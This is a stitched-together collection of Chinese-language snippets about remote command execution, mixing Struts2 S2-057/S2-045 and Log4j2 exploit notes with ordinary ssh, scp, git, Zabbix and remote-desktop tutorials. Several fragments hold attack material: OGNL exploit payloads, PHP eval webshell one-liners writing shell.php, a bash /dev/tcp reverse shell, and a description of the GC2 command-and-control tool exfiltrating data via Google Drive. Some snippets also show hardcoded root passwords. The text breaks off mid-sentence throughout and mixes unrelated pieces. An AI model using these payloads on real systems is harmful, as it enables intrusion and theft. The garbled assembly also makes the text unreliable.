0x01 漏洞简介 Apache wiki更新了一个Struts2的远程代码执行漏洞(S2-057),漏洞威胁等级为高危,漏洞对应的CVE编号为CVE-2018-11776。 定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。 同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。 uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。 可见 233*233 的结果已返回在url中 使用S2-057原理分析与复现过程(POC)中给出的执行任意命令的OGNL表达式: # 表达式命令格式 ${ (#dm=@ognl.OgnlContext
远程命令执行漏洞相关函数eval()assert()preg_replace()call_user_func()$a($b)如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞 arg=phpinfo(); 漏洞产生实例2assert()实例1preg_replace()pattern : 要搜索的模式,可以是一个字符串或字符串数组。 实例call_user_func()实例$a($b)远程命令执行漏洞的利用?a=@eval($_POST[666]); \\一句话木马? a=var_dump(file_put_contents($_POST[1],$_POST[2]));,1=shell.php&2=<?php phpinfo()? a=var_dump(file_put_contents($_POST1,$_POST2));,1=shell.php&2=<?php phpinfo()?
一,Struts2是什么 Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互 Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。 虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。 二,s2-045漏洞形成分析 CVE编号:CVE- 2017- 5638 POST请求发送数据 功能:获取WEB路径,任意命令执行,反弹shell和文件上传 首先,我们先对比一下修复前与修复后的版本 getDefaultMessage函数,在这个函数里面调用了TextParseUtil.translateVariables在TextParseUtil.translateVariables方法中存在安全漏洞,可使远程攻击者通过构造的
PHP SSH2扩展是用于在PHP程序中使用SSH(安全壳协议)的一种扩展。它允许建立加密连接和执行远程命令、上传和下载文件等操作,十分方便实用。 它提供了一组API函数,使开发者可以在自己的应用中实现SSH客户端的功能,如远程执行命令、文件传输和端口转发等。 -m|grep ssh2 ssh2 使用 连接远程服务器与SSH2服务器建立连接是使用PHP SSH2扩展时的第一步。 远程执行命令 该扩展最常见的用途之一是在远程服务器上执行命令。 输出打印为远程命令的执行结果。上传和下载文件 该扩展还允许您在服务器和本地计算机之间上传和下载文件。在本例中,我们将使用ssh2_scp_send()和ssh2_scp_recv()函数。
,如果命令有特殊字符,支持对命令进行 Base64编码后传输 ReverseShell: 用于 Linux 系统的反弹shell,方便使用 TomcatEcho: 用于在中间件为 Tomcat 时命令执行结果的回显 ,通过添加自定义header cmd: whoami 的方式传递想要执行的命令 SpringEcho: 用于在框架为 SpringMVC/SpringBoot 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令 WeblogicEcho: 用于在中间件为 Weblogic 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令 个动作: list:基于XXE查看目标服务器上的目录或文件内容 upload:基于XXE的jar协议将恶意jar包上传至目标服务器的临时目录 rce:加载已上传至目标服务器临时目录的jar包,从而达到远程代码执行的效果 中需要双重url编码,否则“+”号会被当成空格解析掉,导致命令执行不成功) 原始命令:bash -i >& /dev/tcp/xx.xx.xx.xx/8888 0>&1 Base64编码:YmFzaCAtaSA
CLibssh2可以帮助实现相当于Linux的ssh命令的功能。 CLibssh2基于libssh2库(http://www.libssh2.org)实现,不过libssh2的使用较为复杂,而CLibssh2通过封装提供了简单的接口,即可以代码中实现远程执行命令。 /mooon/blob/master/common_library/test/net/ut_libssh2.cpp // 为非线程安全类 // // 提供执行远程命令的能力,类似于ssh 命令 // 可配合utils::CLoginTokener一起使用:#include <mooon/utils/tokener.h> // // 使用示例(执行远程命令): // command 被远程执行的命令,如:whoami // out 接收命令输出的流 // exitcode 远程命令执行结束后的退出代码,如:0 // exitsignal 远程命令执行时接收到的信号
此篇教大家如何利用TCP进行远程命令执行。 一. 命令集 将值得信任的命令放进一个txt文件中,执行命令时,就去这个文件里面找,有就执行命令,没有就不执行。 命令执行模块实现 依然封装成类,将上述命令集写进类中。 format_time->tm_sec); return time_buffer; } pthread_mutex_t lock=PTHREAD_MUTEX_INITIALIZER; //2. 并创建出执行命令类对象。 =2) { Usage(argv[0]); return 1; } EnableScreen(); uint16_t port=stoi(
常见的场景就是在本机通过堡垒机才能登录到远程的Linux服务器上,而堡垒机上没有相应的ftp可视化工具;这时就需要借助远程拷贝命令。 scp就是secure copy,在linux下用来进行远程拷贝文件的命令。 有时需要获得远程服务器上的某个文件,该服务器既没有配置ftp服务器,也没有做共享,无法通过常规途径获得文件时,只需要通过简单的scp命令便可达到目的。 [[user@]host2:]file2 参数: -1: 强制scp命令使用协议ssh1 -2: 强制scp命令使用协议ssh2 -4: 强制scp命令只使用IPv4寻址 -6: 强制scp命令只使用 ,命令格式如下: #scp -p 4588 remote@www.itok.com:/usr/local/sin.sh /home/oracle 使用scp要注意所使用的用户是否具有可读取远程服务器相应文件的权限
1.克隆项目 git clone <项目链接> 2.进入项目 cd work 3.列出所有分支 git branch -a 输出 remotes/origin/dev remotes/origin /release 4.切换远程开发分支 git checkout -b dev origin/dev 切换远程分支origin/dev 5.切换远程正式分支 git checkout -b release
Zabbix远程执行命令可以做些什么: 1)重启应用(apache/nginx/mysql)。 2)自定义执行脚本。 3)使用IPMI接口重启服务器。 Zabbix远程执行命令注意事项: 1)远程执行命令是server端向agent端执行,不支持主动模式的agent; 2)不支持代理模式; 3)zabbix用户必须对命令具有执行权限,可以使用sudo赋予 配置zabbix远程执行命令 创建一个报警,记得使用邮件报警吗?实际上,我们把发送邮件的操作改成执行远程命令就行了。 Zabbix agent不支持远程命令,远程命令最大长度为255字符,同时支持多个远程命令,如需要执行多条命令,只需要另起一行写命令即可,但最好自定在agent端定义一个脚本,直接让zabbix执行脚本即可 还有,远程命令可以使用宏变量。
我们平时用ssh命令的大部分情况都是先登录到目标机器,然后再执行各种命令,但有时我们登录目标机器只是为了执行一条命令,比如top查看下当前服务器状态,然后就退出了,在这种情况下,要登录目标机器再执行命令这种模式就显得有些麻烦了 查看目标机器上home目录硬盘使用情况: $ ssh u3@h3 du -sh '$HOME' 3.0G /home/u3 2. 再试下上面的top命令,看这次是不是就可以了。 $ ssh -t u3@h3 top ssh远程命令这个技巧在我们维护很多服务器或写批量处理脚本等情况时非常有用,其再结合linux下的输入输出重定向等功能,经常可以用来实现一些原本你觉得很难实现的功能 ssh远程命令的知识就介绍到这吧,希望能对大家有所帮助。 完。
22 username = 'root' password = '123456' execmd1 = "/root/tomcat/bin/stop.sh" execmd2 , port, username, password, execmd1) sshclient_execmd(hostname, port, username, password, execmd2)
日常Zabbix报警案例中,大多都是报警发送邮件,场景里很少有需要报警后执行一个命令(启动服务、清空磁盘空间、关停服务器);而今天就给大家讲讲最近需要做的事:报警后执行远程命令 首先讲讲需求吧, 遥远的一天 刚好zabbix动作中有个远程命令功能,那么就通过它来解决问题。。 Hosts > Items 2.配置mongodb triggers Configuration -> Hosts > Triggers 3.配置远程命令的actions Configuraction -> Actions 条件选择触发器值为PROBLEM、触发器为上面的mongodb触发器 执行次数为5次,每次间隔60秒 操作类型为:远程命令 类型为:自定义脚本 命令:具体的指令。 至此整个过程都配完了,,但是现在mongodb挂了,actions会执行启动mongodb命令么。? 肯定不会。 远程命令前提条件,需要在配置文件开启远程命令参数,并启动agentd。
2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞,在 12 月 9 日被国外有人公开 POC,从而导致了一波安全从业人员的疯狂运动 ,触发远程代码执行漏洞。 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。 class 文件中要执行的命令。 bash 等可在 shell 直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..." 3、根据 cmd 日志拼接 log4j2 打印的日志 由控制台打印的日志可知
现在经常在家远程办公,肯会使用到远程桌面连接命令mstsc远程管理电脑或者服务器,,远程桌面连接命令mstsc的使用还是很简单的。 但是对于没用过远程桌面连接命令的人来说,首次使用可能连需要进行设置都不清楚。 小编在这将远程桌面连接命令mstsc的使用方法进行详细介绍 首先需要对被远程控制的电脑A进行设置: 1 在电脑A上点击【开始】—【控制面板】,找到【用户帐户】,点击进入后为当前用户账户创建密码,输入密码后点击创建密码即可 (为了安全,最好是把密码设置的复杂一些) 2 在电脑A桌面上找到【我的电脑】图标,在【我的电脑】图标上鼠标右键,选择【属性】,点击上面的【远程设置】,这时会弹出【系统属性】窗口,我们找到最后一个名叫 4 输入好远程桌面命令mstsc之后,我们按回车键或者点击底部的“确定”即可打开远程桌面连接对话框,我们输入远程电脑或者服务器IP地址,然后点击连接即可 5 点击连接之后 (如果提示是否连接,
Git 远程仓库 远程仓库 普通远程仓库搭建 环境 远程服务器安装 git 服务及新增用户 本地服务器生成密钥并放入远程服务器 初始化远程 git 仓库 设置远程 git 仓库权限 用户 git (1)生成密钥 本地服务器在 ~/.ssh 目录下可以找到 id_rsa.pub,里面就是公钥 ssh-keygen -t rsa cat ~/.ssh/id_rsa.pub (2)将本地服务器生成的公钥放入远程服务器 (1)文件路径 vi /etc/passwd (2)修改配置 原配置 git:x:500:500::/home/git:/bin/bash 修改配置 git:x:500:500::/home/git 192.168.125.6" yum -y install gitlab-ee 访问 GitLab (1)按照上面 EXTERNAL_URL 指定的 url 访问 GitLab http://192.168.125.6 (2) 账号密码 账号:root 密码:12345678 GitLab 的使用 1、创建 OA 组 2、创建 zhss 用户,在 OA 组中加入 zhss 用户 账号:zhss 密码:12345678
关于GC2 GC2是一款功能强大的命令控制应用工具,该工具将允许广大安全研究人员或渗透测试人员使用Google Sheet来在目标设备上执行远程控制命令,并使用Google Drive来提取目标设备中的敏感数据 工具运行流程 工具安装&配置 第一步:使用下列命令将该项目源码克隆至本地,然后构建项目代码: git clone https://github.com/looCiprian/GC2-sheet cd 工具使用 命令执行 GC2每五秒会向spreadsheet发送一次请求,并检查是否存在未执行的新命令。命令必须插入值请求中的“A”字段记录中,而命令输出结果将存储在“B”字段中。 file id>;<remote path> Example: download;<file ID>;/home/user/downloaded.txt 退出执行 通过发送“exit”命令,GC2 将会从目标设备上远程删除自身代码,并终止自身进程的运行。
; import java.io.InputStream; import java.io.InputStreamReader; /** * SSH工具类(可远程执行其它Linux机器上的Shell命令 IOException("username or password error."); } return conn; } /** * 执行远程命令 conn.close(); } } return sb.toString(); } /** * 执行远程命令 return execRemoteCommand(hostname, username, password, command, 5); } /** * 批量执行远程命令 conn.close(); } } return sb.toString(); } /** * 批量执行远程命令
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 启动环境后,在Win10上访问http://IP:port/struts2-showcase 1.构建Payload: 访问: http://your-ip:8080/struts2-showcase (#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]). (#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil
批量远程执行命令 exe.expect 内容 #!